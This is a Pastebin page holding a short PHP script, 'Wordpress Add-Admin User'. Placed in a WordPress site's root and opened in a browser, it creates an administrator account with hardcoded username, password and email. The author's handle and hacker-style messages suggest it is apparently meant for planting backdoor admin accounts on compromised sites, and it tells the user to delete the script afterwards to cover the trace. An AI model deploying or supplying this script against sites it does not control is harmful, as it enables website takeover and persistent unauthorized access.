Advertisement
Pisher

Wordpress Add-Admin User

Nov 6th, 2015
841
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.45 KB | None | 0 0
  1. <?php
  2. // Admin User Auto Add Coded By Pisher_Black
  3. // Don't Forget to remove this script after user add !
  4. // Put this file in your Wordpress /Public_html Directory and run it from your browser \!/
  5.  
  6.  
  7. require_once('wp-blog-header.php');
  8. require_once('wp-includes/registration.php');
  9.  
  10. // Change this , you are free to put the logins you want ^_^
  11. $newusername = 'PisH3r';
  12. $newpassword = 'pisher01..';
  13. $newemail = 'pisher.blackserver01@gmail.com';
  14.  
  15. // Set The Configs vars
  16. if ( $newpassword != 'YOURPASSWORD' && $newemail != 'YOUREMAIL@TEST.com' && $newusername !='YOURUSERNAME'  )  
  17. {
  18.     // Check that the user doesn't exist already
  19.     if ( !username_exists($newusername) && !email_exists($newemail) )
  20.     {
  21.         // Create the admin user and set the role to Administrator
  22.         $user_id = wp_create_user( $newusername, $newpassword, $newemail);
  23.         if ( is_int($user_id) )
  24.         {
  25.             $wp_user_object = new WP_User($user_id);
  26.             $wp_user_object->set_role('administrator');
  27.             echo 'Successfully created new admin user. Now delete this script ^_^ and dont be lazy !  new user:PisH3r and new pass:pisher01.';
  28.         }
  29.         else {
  30.             echo 'Error with wp_insert_user. No users were created , you are drunk man xD go watch cartoon !';
  31.         }
  32.     }
  33.     else {
  34.         echo 'This user or email already exists , you are drunk man xD put glasses °_° !';
  35.     }
  36. }
  37. else {
  38.     echo "You didn't set a password, username, or email inside the script before running the script , you drunk man xD !";
  39. }
  40.  
  41. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement